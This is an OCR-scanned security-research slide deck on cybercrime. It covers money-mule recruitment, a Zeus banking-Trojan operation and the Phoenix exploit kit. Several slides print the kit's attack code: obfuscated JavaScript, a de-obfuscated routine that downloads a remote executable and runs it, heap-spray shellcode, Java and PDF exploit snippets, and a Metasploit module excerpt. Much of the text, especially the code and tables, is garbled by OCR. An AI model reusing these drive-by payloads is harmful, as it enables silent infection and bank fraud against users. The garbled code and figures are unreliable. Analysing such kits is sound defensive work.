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[About M86 Security Labs
 M86 Security Labs is a specialized global
team of security experts and researchers
who detect current and emerging Web and

email threats and mitigate them quickly.

 M86 Security Labs provides zero-day
protection to its customers, securing them

from new exploits the day they’re

discovered. MEE
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[About Yaniv Miron

« Security Researcher at M86 Security Labs
* Yaniv Miron aka Lament

* Found security vulnerabilities in IBM,

Oracle, Microsoft, Apache and more.

 CISO Certified from the Technion

e Certified Locksmith




[About Daniel Chechik

« Security Researcher at M86 Security Labs
« Specialized in firewall equipment

* PKI Expert

« Holds CEH and CCSE certificates
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Cybercrime topics

Cyber Crime |




Exploit Kits - General information

 An exploit kit is a web application that serves multiple

exploits through browsers or applications

Do Pas

STATISTICS

i LINK FOR TRAFFIC: http: //pokityus.co.cc/pbece/fsgpda.php
‘I UNICS WINDOWS LOADS PERCENT
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Exploit Kits - General information (cont.)
« Special features included in the package
« Exploit Kit authors motivation

« Code obfuscation, why?

¥
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Exploit Kits - General information (cont.)

« Exploit kit contains:
* Exploits
* Install file

« Configuration file

 Statistics page

 Database
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o
Trojan Banker

* A Trojan Banker is like any other Trojan

with “extra features”
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o
Cyber Crime

« Cyber Crime refers to crimes that involve
computers activity, criminals using

computers to commit illegal activities

SECURITY




.
Money Mules

 Money mules transfer stolen money for
criminals, shaving a small percentage for

themselves
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S
Money Mules - Recruitment

 V & R-Job for You

2 SERVICES
—4 CONTACT US
V&R

JOB FOR YO
Vain & Ryan

PRIVACY/POLICY

Job for You

Latest News <
T Yacancies:
L 0 g

Job Opening!

Find details by visiting the "Job
For You" section of our website.
© read more

Our IT experts are working at
creation of increasingly
convenient methods of money
processing and provide every
our manager with support and
advice.

Financial agent

Candidate requirements:

We are providing online escrow
services that facilitate and
accelerate e-commerce by
assuring secure settlement
naow. (OMLY For software).

‘willingness to work from home, take responsibility, set up and achieve goals

Ability to create good administrative reporting

Prior customer service experience is a good benefit, but not a must

p

Our investment project
(Introduction of the new IT
technologies in power station)
has been recognized by the
best on business forum in
Brussels (Belgium)! november USA resident,

—
2008, }_II:

Honesty, responsibility and promptness in operations

Effectively interaction with customers

Familiar to working online, Internet and e-mail skills
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Cyber Crime and Money Mules (cont.)

« A money mule website, presents an open

position of “Financial agent”

|} |} —_—
I How much will I earn?

 Who V\_lgr_lts to work there?

You will work For commission that will be calculated for the amount of every transaction that is
forwarded through your account, as follows:

4% from the total transaction amount for transactions smaller than $10,000,00 US dollars,
3% from the total transaction amount for transactions larger than $10,000.00 US dollars,
|} —_— |} _— |} _— |} _— |} _— |} _— |} _— |} —_— |} _— |} _— |} _—
You will earn a minimum of $3000 and up to $10000 per month, depending on the transactions .
" that are Forwarded ta you,
I If vgudo not total an garning of $3000 gt the engd of the month, we will pay you the differepce |
up ko $3000,
-t YOU Bakn rgorgthan $10000 during a month, the commission vou will get from each following
I transaction from f!nat point on, until the end of that month will be 1.3% reqgardless of the amount
n of the transactionT
ot cMMisBior™will be paid ko vou upon completing a task that was assigned to you, this means
that vou will get vour commission daily For the work done in that day.

5
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Spread the (exploit) word
* By hacking into known websites
» Stolen FTP accounts
 Email Spam

 Social Networks

 BlackHat SEO




Attack Story

Attack Story




Attack Story

* This cybercrime gang was operating for
several months stealing money from users

accounts.

* The gang is no longer operates and all the

relevant data was sent to the police.




Attack Story
Phoenix E

\CONCORDIA, INTEGRITAS, INDUSTRIA....
Referers statistics
Referer

deo2mp

oit's Kit

v2.3

Visitors Exploited

Percent

¥enu
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Legitimate Websites:

videoZ2mp3.net
msgdiscovery.com

Cybercriminal Server everythingon tv

Phoenix Exp[oit's
) . oy 2

F Phoenix Exp ott's Kit

V2.3

%k %k ok %k %k %k Exploit statistics

Exploited Percent

MSIE 7 7627 felal: 173492 21024 12.12% .84%

Other

PDF COLLAB 1040
PDF PRINTF 60
FLASH 9 140
FDF LIBTIFF 4947

-
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Legitimate Websites:

video2mp3.net

e msgdiscovery.com
Cybercriminal Server everythingon tv

v

This specific configuration file contains injection orders

that will be used when the user access to the bank

Compromised
website
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The malware downloads a configuration file from:
hxxp://uste .com.tr/Scripts/rd.bin

6F 64 72 84 88| | PUBLIC#<bodye.
65 30 22 64 62| ..*... style="di
28 78 08 80 88| splay:none”™ p...
28 6C 61 74 65| This is the late
62 6F 6E 28 &61| st information a
=3 7 bout your accoun pr—
72 72 65 6E 74| t#l{td><b>Current | J

6C 61 6E 63 65| Cleared Balance '—":
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The gang doesn’t want to uncover the

main C&C to the world and u

Exploit Kit server as a proxy to the main

Command & Control server

Legitimate Websites:

video2mp3.net
msgdiscovery.com
everythingon tv

sing the
After successful connection test the bot reports

B the C&C server about new installation to:
2 hxxp://195. .147:3128/data/set.php

listen 195. I 147:3128 default backlog=8192;

A

Google

sexrver_name 195. I 147;

access_log /dev/null;
location / {
proxy pass heep://195. R 22:1731/;

proxy_redirect off;

Zeus Server

ommand & Cont

client _max_body_size 20m;
client_body buffer size 1024k: k.
proxy_connect_timeout 100;
proxy_send_timeout 180:;

proxy_read_timeout

Before the
it verifies tl

http://gooy

proxy_set_header Host
proxy_set_header X-Forwarde
proxy_set_header X-Real-IP

proxy_temp path
access_log /dev/null:

180;
f¢host;

d-for §fremote_addr:
§remote_addr’

/tap/:

proxy_set_header X-Forwarded-For $proxy_add x_forwarded_ for:
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100% secure connection and data transferring (SSL)

Secure Payments: Customize Your Order

Activation fee: USD 1.50

@ Antivirus - 1 Year Software License USD 69.95
" Antivirus - Lifetime Software License Discount Offer! USD 79.50

[V Protect Your purchase with our Extended Download Service! For an additional price of USD 8.00, we wil keep a
back-up copy of Your digital files should You need to re-download them for any reason. What is EDS?

Gol |

that card. See demo

First Name Email

Last Name l Country

Card Type IVlSA :I' State

Card Number l City
Expiration Date ISeIect ﬂ = ISeIect ﬂ ZIP/Post Code
CV¥V¥2 Number I Address

The CW nurnber from the card, this 3 digits number can be Phone

found on the back of the card and is completely unique to

Secure Purchase

Your computer is not protected! Click here to activate protection...

Zeus Server

| United States of Ame v |
ISeIect please Ll

Build 18D-55FABDBE

The gang operates in multiple vectors, using social

engineering it tries to convince the user to buy fake AV

-
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Zeus Server Command & Control

<1ix><a href="§#"
<fepan><far< /11>
<1lix><a href="§#"
<1li><a href="#"
£li><a href="#"
<li><a href="#"
£1lix><a href="§#"
<li><a href="#"
£1lix<a href="§#"

~ Faa 1

hxxp://cheap

</script>

title="Business 0

title="Apply {(ope
title="Starting u
title="Moving to
title="Products &
title="Business S
title="Business M
title="Home (open

card.info/brap/bscript.js

v

Financial
institution
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A

Zeus Server Command & Control

From that point the Trojan supervises every activity
of the user with the bank.

At the moment the user is trying to commit a
transaction the bot communicates with the C&C and
receive a fully information about the new transaction
that the bot is attending to commit.

The bot replace the details in the transaction submit
form and sends it to the server

v

Financial
institution
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[19-08-10 07:09] @ 78. Nl 165
Transfer succeseful!

--- Transfer data ---

Selected Account: MR || D TRADING AS 20- N 19 -S>
Drop Name: Vil

Drop Account Nr: 103 N

Drop Sort Code: 77

Amount: 3549

Transfer Memo: RAC 15

--- Account data ---

SN: I

MN: 2020 132

--- Balances ---

MR AT \ DING AS 20 G 19 1780377, Overdraft: 0
(19-08-10 07:11] @/ EG—_—_

Transfer failed!
--- Transfer data ---

Financial

A sample of successful transaction generated by the institution

Trojan to the money mule account
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Exploit Kits
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Phoenix

* New version — Phoenix 2.5

- Late January 2011




Phoenix

* Login Page

Phoenix Exp loit's Kit




Phoenix

 Main Page - Statistics

L‘\CONvCORDIA, INTEGRITAS, INDUSTRIA... 5

Simple browser statistics Main Statistics Exploit statistics Menu
Browser Visits Exploited Percent Unique Visits Exploited Percent Exploited Percent

MSIE 11.6 24776 209 8.45% 63 0.75

FDF
FDF FRINTF

PDF LIBTIFF

Jav s MIDI
YLINE

IEPEERS

I




Phoenix

* The exploit statistics organized by exploit
name and browser type. Java exploits

appears to have become more reliable than

the rest of the vulnerabilities

Exploit statistics

Exploited Percent
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Phoenix

 Advanced statistics of the exploit kit attack

Phoenix Exploit's Kit
V2.5

Operation systems statistics Advanced browsers statistics Menu

ANCONCORDIA, INTEGRITAS, INDUSTRIA...

lisits Emploited Percent =Browser Visits Exploited Percent
E v8.0 6 5441
SIE v6.0

MSIE v7.0

Windd

0%

Wind

-
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Phoenix

 Summarizing of the incoming traffic from

each country  KSGRIaiIes Exploit's Kit

V2.5

Z5CONCORDIA, INTEGRITAS, INDUSTRIA...

Countries statistics Menu

Country Visitors Exploited Percent




Phoenix

 Panel to upload the malware

@ Phoenix Exploit's Kit
V2.5

Menu

L\.CONVCORDIA, INTEGRITAS, INDUSTRIA...

Do you really wanna upload new .exe file?

-
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Phoenix

 Obfuscated code

|<applet mayscript='true' archive='crkwjlamisbri6.jar' code='a.class'><param name='trigger' value='isie'><param name='a' value='
</applet><body id='cmbsfu' name='cmbsfu'></body>
— n _— n _— n _— n _— n _— n _— n _— n _— n _— n _— n _— n _— n _— n _— n _— n _— n
B<textarea>function kgcod(klxufwf) {return klxufwf.replace(/ /gmi,
') .replace(/~/gmi,'""') .replace (/=/gmi,String. fromCharCode (2*0x5)) .replace (/*/gmi,String. fromCharCode (2*0x2E) ) ; }var kmawcr4=623;
> 0; hnxmk--) {for (cgapjge = kmawcrd4-hnxmk; cgapjge <= evbpan.length; cgapjge=cgapjge+kmawcr4) {jtbgi=jtbgi+evbpan. charAc(cqaque
dvhoklgl-jtbq1+"EERS(),}}MDAC()-"-var evconc—chod(dvhoklgl) </cextarea>
L —_— —_— n —_— n —_— —_— —_— n —_— n —_— n —_— n —_— n —_— n —_— n —_— n —_—
<script>var evbpan=
"ddTh?Sy'5d7u§OOfEu§af

c;DOueCrop

61au¥5500u%4415u%90

nBE" (tt6C e'S(yc,\_ e {dd{a)d—'31—~w1_ e 06 3D50
0069733E6 F6462070D000402 6 ae,,0,441'2F+B7E28647 036 0 160B2F58 4ﬂe( +5 234
=v3({3;~_ e05p60411C0O0F4C1106B 7C0304652F6E6GET746EGE646C43 96778611 DO2A00120200Poi"=83>%588aus
167bu$3030u$005dus F3a702us2M: .tu:N“V°1_?(““ ri.vdle /[ .blars)aErsdle~c'>yud'eeC0"..ppt
727F7561602 CB4B0OOD EF35FS5FF EC5074DC2759E4606 - 21 )4E4F315D630000B101636RA64717861
9 682760 S5A466 'F3054295767 2B593675=; )npeitsle.uvr;] [tV ;es)x33om) tfsSe"W=nvsvevhOp w;+
C066266 000000106000C04400200"'Ecvi005~u%$33d3usls524 1 0810usa6lluséeScutec00us0044us30b7us3700us00
a aocdnhhALra.p eigcdtp e;tReeocdn<kd~Inco((54pXCl.rlézeq” 3pe/osbs eiw'noicfe=."1r=1"}"'Sn0igmF43560
S 0B400C7561BB 36 - 8004A000E7C45647662666611 34;2002E64 42 BCOOF7
4479273fL;c nbte)b : +00005¢4 60CB065614 B7553
u'd —4)5u§0145u%5055u%c025u§ 03usaf29%us £ 0euss7'206 TR I
:9 'e}. (SAt0a=pwaewaDoi>ccd) (( D D3A60¢ 30 820130F1D
05000102000v020E&56w i 212Ef '0582730
==nrcrl0s As)" 00F1BB4F06AF09657D 17 30usc47b
usl0aelusla3au 3005u%24c6us0sF36 0; {tc4F}c;eptdpducCuuMNastnKaA—- CCLecraq
v (dMS) 03E3A20 ESE64544RA89343R108 SF1DEEB8C4764F018F02397379563C3¢ 0 46657474
203;)8 160A262R462 (a+5729 A6=tsA+2F4578743aA}i" (tiAprdtdir, . (alr zisgi)du}Fc=cae ' I'=="a e/uSrs{S0
365606 60A0107010A0701050 P180v503us05£fdusScafus0800utataSusl94cuslf0luseObius8esSeusec20usdadsus
OovelOdervEei ) )BEtrmdEpr(u) {s7) } ap<=’cah\Fir"f:ce"ln:t.ln }d.-Ljg,1-"s,Pi'co({306D2E3E3
F2FC4B60505536 0A20693C6ES5D66440 4647509000001404r020D076Re"'n5,0") ) '462066295034} {A7C0607360

6566, JES0095827657;
763405
DDh.)
36BE0S
AT 26£d'F. : fm; =
0810 ‘H‘zs'-qﬁlpc& — f— ———
]
—
I Jemm=—
EEE § =SS § EIS § BN § BN § = ':::)
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Phoenix

 Obfuscated code (cont.

|<applet mayscript='true' archive='crkwjlamisbri6.jar' code='a.class'><param name='trigger' value='isie'><param name='a' value='RSS=,TTO+I)EINAEIJXTBQSYQ!BDTV?FI=R=
</applet><body id='cmbsfu' name='cmbsfu'></body>

e e e

<textarea>function kqcod(klxufwf) {return klxufwf.replace(/ /gmi,'

') .replace(/~/gmi,'"') .replace (/s/gmi,String. fromCharCode (2*0x5) ) . replace (/+/qmi, String. fromCharCode (2*0x2E) ) ; }var kmawcrd=623;var jtbqi='';for (hnxmk = kmawcrd; h.ll
|> 0; hnxmk--) {for (cqapjge = kmawcrd-hnxmk; cgapjge <= evbpan.length; cgapjge=cqapjqe+kmawcrd){jtbgi=jtbgi+evbpan.charAt(cqapjqge);}}var
JAvhoklgl=jtbqi+"EERS(); } IMDAC() ;";var evcont=kqcod (dvhoklgl);</textarea>

_— ] _— ] _— ] _— ] _— ] _— ] _— ] _— ] _— ] _— ] _— ] _— ] _— ] _— ] _— ] _— ] _— ] _— ] _— ] _— ] J

<script>var evbpan=

"ddTh75y' 5d7u$00£8u%af03us000cu9518ui2Ebiut261aus5500usd415us9058us0008us303aui00fbuifea0ukusE29v03uiE3Spntoipeal sSEC™ ¢c; D0ueCropgna; ipnnAK. ) jannnénlz=e;+t;u.o0.wtkc.

r)\

607C71646F6607000107FA61021F6060 (aeWWIN' 9 a2F32325223869¢e ' Fm2873367130+603742E545904575"294E20680, 6F902E292R60" 'E6202R4E6468},e) ) tep'g(c({s,mh=";)nW" (W'&q{'T0)jois|)'0,p8
k=n00835700009E0D5796000F00230C7C63646F7D6A694C35691463724E4F607771656E05171C13090117020407480F000747020003) dBwA4/3%0008u$000£u$3020us6895us00eSuic02euslelcus0057us273cus
6820utba67u$l000usBc54us06edF3ust08347usd  iinnr " yacAF. 0g 2< u ‘e) 'ntHotum( 'mrr:Arsrl oytoeNa'l;;c'~iv'sea
'34686C6eR00FFO0E643BE7EDO0C045E0104BFASCEFESDBFFE3C16 00001065696C026371656E000700010F000
C0e674366871, ' 2F+3292F2ES515A52482R206B600ES009285B286; cav(|)'0°0d 00r9s]500000801125D10
C7F5362047562610A000C0B190F010401090D02510F220200e {yJit )444u$3603utbl0au$dé4dus0000use 1
9ccBt'nptnid.1l}Vemvdt="0actt) 2tmyeeybnwIn; fdETnyte) p=113—‘x’lsdptu):::c}}hL<al w=lmlo=la=>dBvdei OP}nei 60687F2610001EFA32C0
5049F6EF06BCS54FE6C6626B60DCB3FE2221453ATE9S5C2000E426646C6E660475626105000300FB0902 ﬂco.é,Se'lHF? 9 632 051240667} {E7
50594E6C66diP}vEAs) tfm)a) +(fv'v; 'D;vD; 1z 6561057570626 10D07070903000700014E4D001502000{I>EdAdo
d9utb0cOu%1010u$4000us20afutScafus0800uiad cau%“écﬂu§a31bu%bﬁbau%3513u%0000u%q4 4u$8=A2F6u'uiE600Vtm't'a g ) /1'/ Anekyi‘=xr%hu;7ue'fn{dd.Etg'ClMcltn; ‘nbbD
Ogm=. “bepn;i‘sstc(Ochevi'u>bv'is'~cy(crd xtusélol’ ‘n*Bdn826746E6=0442DFD2E30ECE0E42D2E00AC3F3D53C E8 ) 263DC64EOCBE47C2A21E370EE4A=00057E6C6569
696F6973651B0200000F0322006C09shF4"*9,0,018 ﬂ=4"’”F6566, 2F+R623372308D5246265925200E50095827657; ) 82F0F49284661fA560F4368616anD}alte; 're;r;) [i.)=1"F}=F}vitle;rtwl=v(|[)"
x=0=59n0F00F500D25550006075467C73423 0000DF070204820200IE<Ct95d=ceus9d4leutlelius2000us08£Eus2cbeusd500utldalusle04us0£ss
ui0000u%9910us000£fusd666uisiE636; 7 )atfyosP.g)heLleot}=tuu901 A=. " :dqtt.eraeAbt'a'ae<sisch3;)Ie)C'e0 bsD0seF=d2rF"7
E607E7C'A3035CFC415DFARARAE34B20! 230FD303E2EFFE3 c‘Eﬁaicﬂ JC39F70 349BA134D'0009F0C6941617C43427A76080001000F47020C606volva9,0, 6, +603645A2E660157
17723} {A75020550826£d"'F302F417 FJ:th"ﬂttp n} v, ~im;pv) (e=(e<1T0o}y(ae=n3(|)u);1n/n=909A00FF1FASAR0E01306756962740R252660606362606A6E644

fauéwmosmw AR08 105G0208 00 20§ TR/ AT = mem = o # mm w

"L <script>eval (document.getElementsByTagName (' textarea') [9-9] .value) ;eval (evcont) ;</script> I
e
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Phoenix

* Obfuscated code (cont.)

ANAAAAATA ANAANELNGaRTE G N A180 wFrfasprrwl=tr (]}
)200000F0322006C09shFs"*9,0,0180 Jvitle;rtwl=v(||)

00u$19a0usl604usl

4820200IE<Ct95d=ceu$9d

j03P.g)helleot}=tuud0 1 A=, ":
941617C4342

~fm;pv) (e=(e<1T00}y(ae=ns(|)u);1n/n=909A00

a'ae<sisch3;)Ie)C'e0 bsD0

ARACATA

E607E7C'A3035CFC415

T
{n‘

5
C5361656F646208160E07010D06000100500208000102010ER" ;</script>

" <script>function kqcod (klxufwf) {return klxufwf.replace(/ /gmi,' ').replace(/~/gmi,'"').replace(/»/gmi,String. fromCharCode (2%0x5)).replace(/*/gmi,String. fromCharCode (2%

lﬂxZE));}var kmawcrd=623;var jtbgi='";for (hnxmk = kmawcrd; hnxmk > 0; hnxmk--) {for (cqapjqe = kmawcrd-hnxmk; cgqapjqe <= evbpan.length; cqapjqe=cqapjge+kmawcrd){jtbgi= I

;jtbqi+evbpan.charAt(cqaque);}}var dvhoklgl=jtbqi+"EERS () ; } JMDAC();";var evcont=kqcod (dvhoklgl) ;eval (evcont) ;</scriptd> - 3
—_——
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 De-Obfuscated code

702E$u706

$u342E$u2F 102E3u706 2 ';function JAVASMB() {try {var u =
http://69.50. i=2 none' ,1f (window.navigator.appName = 'Microsoft Internet Explorer'){try {var o
= document.createElement ('OBJECT') ;o.classid = 'clsid:CAFEEFAC-DEC7-0000-0000-A CBA';o.launch(u) ; }catch (e){var 02 = document.createElement('CBJECT') ;02.classid
= 'clsid:8 40-044E-11D1-B3E9-00805F499D93" ;02.1launch(u) ; }}else{var o = document.createElement ('OBJECT') ;var n = document.createElement ('OBJECT') ;o.type =
'application/npruntime-scriptable-plugin;deploymenttoolkit';n.type = 'application/java-deployment-toolkit';document.body.appendChild (o) ;document.body.appendChild(n); try
{o.launch(u) ; }catch (e){n.launch(u);}}}catch (e){}}JAVASMB() ;function JAVASKYLINE () {var a=document.createElement('iframe');a.src='vucnxlhlfoyvkzj2.html';
document.body.appendChild(a) ; } function MAKEHEAP() {var qq = unescape(skd2) ;var me = new Array();var z = 0x86000-(qq.length*2) ;var nu = unescape ('$ulclciulclc') ;while(
nu.length<z/2) { nu+=nu; }var tu = nu.substring(0,z/2) ;delete nu;for(i=0; i<270; i++){me[i] = tu + tu + gq;}var bdy = document.createElement('body') ;bdy.addBehavior(
'#defaultfuserData') ;document.appendChild (bdy) ; try{for (i=0; i<10; i++){bdy.setAttribute('s',window);}}catch(e){}window.status+='';}function IEPEERS() {var gg=
document.createElement ('div') ;gg.setAttribute('id', 'f") ;document.body.appendChild (gg) ;document.getElementById('f') .innerHIML="<button id='atk' onclick="MAKEHEARP();'
style="display:none'></button>";document.getElementById('atk').onclick(): }functlon MDAC(){var p = document.createElement('ocbject') ;p.setAttribute('id’',p) ;p.setAttribute(
'classid','clsid:BD96C 83R-00C04FC29E36") ; try{var q = {MLHTTP','') ;var r = p.CreateObject('Shell.Appli
p.CreateObject ('adodb.stream','') ; try{s.type = 1;q.open('GET', "http:/ - .php?i=15", false) ;q.send() ;s.open() ;s.Write(q.responseBody) ;var t =
J il !sf;;e.e te';3.5aveToFile(t,2) ;s.Close(); }catch(e) (SWF() }try{r. shellexecute(t) }catch(e) {SWE() ; }}catch(e) {SWF() }}function LOADFLASH() {var vid = "<object

width="300" height='300"' id='BridgeM

'http: -J-jar -J\\\\ pavisman.info\\smb\\new.avi

tion','");var s =

e33' value='sameDomain'></param><embed

src='fwjweugoclbsh.swi' name='BridgeMovie ="sameDomain’ :31:— :ppl;LcL;uJ;. V i 25" height="355"></embed></object>";functian lev (
id, eddc) {document.getElementById(id).innerHIML = fev(eddc);}function fev(edc) {if(edc && edc.toLowerCase().1ndex0f(‘:l=3313') = -1){var objPos = edc.tolLowerCase().
indexOf ('object ') + 'object '.length;return edc. substr(ﬁ objPos) + 'classid="clsid:D27CDB6E-AE6D-11cf-96BE-444553540000" ' + edc substr(objPos)'}else{return edc;}}lev(
'7', vid) ;}function FLASHSPRAY() {var movie =

var link="687474703A2F2F36392E35302E3231302E34382F6E6F74666F756E642F637A612E70 137" ;var re=

==
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* De-obfuscation (cont.)

<script>

document.write ("<body><div id='j'></div><OBJECT id=Pdfl height=0 width=0 classid=clsid:CASA9780-280D-11CF-A:
var fdata;

var skd='%uS5350%u52515u5756%u9c555u00e8%u00005uS5d00%ued83%5u3 10d35ub4c0%5ud40035u7830%5u8b0csulc405u708bsuadlcsw
suSebetul0015u01005ubfeesull4e5u00005uef0l15ud6e8su00015uS£005u895esudleasuSec23ul0015u5200%5u8068%5u0000%5wE£00¢!
sullfesuBac23su3ds59csui2 633 u00005ufb80%3u74005u8806%u321csuebd46sucbeesud2045u89003u8leasudsSc23u00025u5200%5u95£ 1!
su95f£f5u0156%5u00003ul06asul06asueadosuc28l15u0l15e3u00005u89525uSleasu78c25u00025us52005u006asud0ffsu0S6asueads:
suBleatuSec2su00013uS5200%5u80685u0000%uff00%5u4e955u00015u89005uSleasuSec23u00013u31005u01f63uSac2su3S59c3sulz et
5u3204%5u8900%5u8leasudSc23u00025u52005u8S5£f5u0152%5u0000%5 uead9%uc2815u02 505000005 uS50525u95££f5u0156%5u0000%5u006a¢
suabcz23ui0025us52005u006a3ud0ffsulSeaiueadosuc2813u015e3u00005uf£525u5a95%5u0001%5u2d005uS£5d3uSasSesush59%uc3 58
su0000%u65475u5474%5ub6d653usS0705u74613ud168%5udc003ubl6f3udc645ub62693u61725u79725u0041%5u65473u50745ub6f72%5u4163¢
subb00%uf289%uf789%uc0303u75ae5u29£d3u89£75u3 1£9%5 ubec03 w0033 00003 Wb 503%u02 1b3 w0005 uade63us503% w02 1bs w0000
5u021£5u0000%5u03adsulb855u00025uab003u03adsulb855u00025usS000%5uadab3u85035u02 1 b3 ul00005uSeabsudb3 15usS6adsus503¢
suSef43ueb433uSee95udl1933u03e05u27855u00025u3 1005 u96f63 uadetsuelc13u03025u1£855u00025u8900% uade 63 u8503%5u02 1b¢!
5u0000%u0000%u0000%5u8900%ulbh855%5u00023uS600%5ue8sS73uffS83suffffsuSesStsullabsusices ubbh3esuld2 743 uedebsussc3sudces52!
subcbetuslefsusS4643ud66f5ubc695ud1655u70005u66645u7075%5u2e645u7865%5u00655u7263%5u7361%5u2e685u6870%500070" ;

var skdl=skd+'%u7468%u70745u2F3A%u362F5u2ZE39%5u30355u322E5u303135u342E5u2F38%u6F6ESu6674%5u756F5u646E5u632F5u6

var skdZ=skd+': u74685u70745u2F3A4%u362F5uZE39%5u30355u322E5u3031%5u342E5u2F385%5u6F6ESu66745u756F5u646E5u632F5u6b
function JAVASHME ()

{

try
{
var u = 'http: -J-jar -JiVy\\\paviswman.info\\swmb\inew.avi http://69.0.0.0/notfound/cza.php?i=2 none';
if (window.navigator.appName == 'Microsoft Internet Explorer')
{
try

{
var o = docuwent.createElement ('OBJECT') ;
o.classid = 'clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCEAL' ;
o. launchiu) ;

SECURI
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« Exploit Kit switch mode between several

Java vulnerabilities

-P’/loenix E [O it’S ]<lt
Xp

V2.5

-

SECURITY
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e Java vulnerabilities

function ChangeMode{$mode)
= {
global Zmiditagpy. Zrpitaos. Ftetags;
Iif {(Smode=="rmi") I
= . { .
$javatags=$rmitags;l

I if (Smode=="midi") I
=i - {
javatags—$m1d1tagsl

e I

I if ( $m0d C== rr) I
] N |
$J aV&tags_stctags :

1—?”;

$sepparator="<body ic
Sfiles=scandir(”. ") ;
for ($i=1; $i <= sizeof(Sfiles); Si++ )
= {

$filename=5files[§1] ;
Stemp=explode(”."”,$filename) ;
if ((Stemp[l]l=="htwul"}))

=] { //Bcidiyal ciardied od28dsa

if ( strstr({ file get contents({$filename),

==

SECURITY
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« Java vulnerabilities (cont.)

o0
[

/ *MODESEPPARATOR*/

(nn)
(]

4

4

4

464 I fmiditags="<applet mayscript="true' code='a.class' a r-::i‘xi'-.-'e= "FULL_PATH TO JAR"»><param name='trigger' wvalu
ws S S L

486 | $rmitags="<applet mayscript="true' code='a.class' archfive='NAME OF RMI ARCHIVE'><param name='trigger' val}
487 # mm e mm o mm s mm o mm o mm o mm e s )

488 | Stctags="<applet mayscript="true' code="bpac.a.class' mrchive="NAME OF TC ARCHIVE'><param name='trigger'
i |

MBE
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- Java vulnerabilities (cont.)

6 import java.applet.applet;

import java.applet.ippletContext;
8 import java.io.*;

9 edmponit Jaia.neie URLie & me s

10 | import javax.sound.midi.*; | - - . -
try
ll o —_— n —_— n —_— n —_— n —_— n - {
1z pU‘bllC class a extends App Inputftream inputstream = getClass().getResourceiAsStream(s2) ;
13 Eﬂ{ ByteArrayOutputStream bytearrayoutputstream = new ByteArrayOutputStrean();
14 byte abytelO[] = new byte[l024];
. int 1i;
15 public a() Co )
~ while( (i1 = inputstream.read(abytel)) I= -1)
le = { bytearrayoutputstream.write(abytel, 0, 1);
7 B } ByteArrayInputStream bytearrayinputstream = new ByteArrayInputStream{bytea
a ToolsDemoSubClass toolsdemosubclass = new ToolsDemoSubClass();
javax. sound.midi.MidiDevice.Info ainfo[] = MidiSystem.getMidiDeviceInfo() ;
MidiDevice mididevice = MidiSystem.getMidiDevice{ainfo[l]);
Jequencer sequencer = null;
sequencer = (Sequencer)mididevice;

sequencer.opend) ;
sequencer. setSequence({bytearrayinputstrean) ;
sequencer. addControllerEventListener{toolsdemosubclass, new int[] {

U

3y

sequencer. start() ;

SECURITY
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* import javax.sound.midi.*; (CVE-2009-3867)

o “Stack-based buffer overflow in the
HsbParser.getSoundBank function in Sun
Java SE in JDK and JRE 5.0 allows remote

attackers to execute arbitrary code via a

long file: URL in an argument...”
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 We even got a MSF module

Y
'License! => M3F LICENSE,
' Author' => a @
[ _—~
'kE!', # Original PoC/exploit ))
'Jjduck! # metasploit wversion
1,
'Version' => '§Revision: 7827 §', - ,
'References' => G
[ o
[ 'CVE', '2009-3867' ], Q__——/,
[ 'OSVDEB', '59711' ],
[ '"BID', '36881' ], G
[ '"URL', 'http://zerodayinitiative.com/advisories/ZDI-09-076/"' ]
1,
'Payload' =>
( EVIL EDITION
'Space! => 1024,
'BadChars' => '!',
'DisableNops' => true,
b
'Targets' ==

[

[ 'J25E 1.6_16 Automatic',
{
'Platform' => ['win', 'linux',
"Arch' => [ARCH_X86, ARCH PPC]

'osx'],

SECURI

=

TY




Phoenix
 PDF vulnerabilities
 Example: util.printf

 PDF name: (random name).pdf

SECURITY
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* Lets explore the PDF...

n _— n
ﬁPDF—l.U
5] miem OB ] Gl Typamatalbg/Pages 2 0 R /Names 3 0 R >>endobj
2 0 obj<</Type/Pages/Count 1/Kids[ 4 0 R ]>>endob]j
3 0 obj<</JavaScript 5 0 R >>endobj
0 abd<e/TaRe4Pags/ Banadt o2 JfuRe/ GADtentss 12 (uR>7eRdobd mm o mm o m= = =
5 0 obj<</Names[(*?*)6 0 R ]>>endobj
6 0 obj<</Js 7 0 R/S/JavaScript>>endob]
" e 0 ORI Fidber [ LFlatgRecpdg /ASCLIHexDggode LASGITZSDScods 1/ Tgpath J309>3)
stream
SR YTISEDETA " THGPKATD) £ s MTEDS , IEDEBIERE ¢ AT -2 ETEORT -T2 1% - PO -rw, VEWSs T ; TN AR
I ;b?6 7135 p0=MEEp® 69 @EB*:POdn/ Y U«y . BEI® >y E 2 xes0i OER* ADBRRP<Es x 1 3069C01@+1 F 5 “EBEIBu« ¢° 8ceu¢HGORE "

. PIDicWIEUvO™wYEE@-hU4U] °/ Aleil s BDOERG7jY™Y " ~0g0udDuit«EMBAUTIVOED fAi-E4l»QsEIL,-nzjkiE=§: BEE ¢|
n«JOxE3igo{o|
I <16Aoup wEEERS - *, BESEUAOaTLE SEMREOEIT " ®@YeaddbRp: MY~ , Bk« , M= 6 ENMA v O%9 g EIBR0/ FR ERO% cl

A @ rEEAAS
= sTi0\O1, (f#-D2tB\E~ ¥E~~Y, | =N & 15/ 0°  DRFNAA " h«eB~6EMS 10" 7psEMT ! za °Os* @HDEN " SEEEe 9~ '.E‘-CIH
4 ), ORI AiED=IA«hSEME "Y' 6 Hup© 2 meilA »7 ~ 46cOb
2 h%’éafSoc“é >GERE A ARDE i c~* @G TEN
{é(UZv?Xéqto'—E]
V1 BBz N8 byauué °3bm EE>°0, < ujznﬂia%mq ; [ B8 u#—T VOB
< "U4|P> An@@S vv B 8HaPJwGNE<'5°D-/’}Er[ euquz-oD UE81AvE2 £ EXeS
}£+RS (VS FDENEET ¥ ]
¥ opmicerewy = =
endobjxref
o7
0000000000 65535
0000000010 00000
00000000G8 00000
0000000120 00000
0000000157 00000
poopoo0O216e 0OOOD
poopoo0254 0O0O0OO
ooo0O0O0Z295 00000
trailer<</Root 1
startxref
3707 |
$$EOF

+OKESAYESEIAID® « AT

D051 OMEOD] YUEB

£
n
n
n
n
n
n
n
0

R /8ize 7>>
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 Lets explore the PDF... (cont.)

 We have 7 objects, object 6 points to object

7 and tells us that there is JS inside

* Object 7 uses different kind of decodes:

 FlateDecode

« ASClIHexDecode

« ASCII85Decode




S N ————————
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 FlateDecode

0 obj<</Type/Catalog/Pages 2 0 R /Names 3 0 R >>endobj
0 obj<</Type/Pages/Count 1/Kids[ 4 0 R ]>>endobj
0 obj<</JavasScript 5 0 R >>»endobj
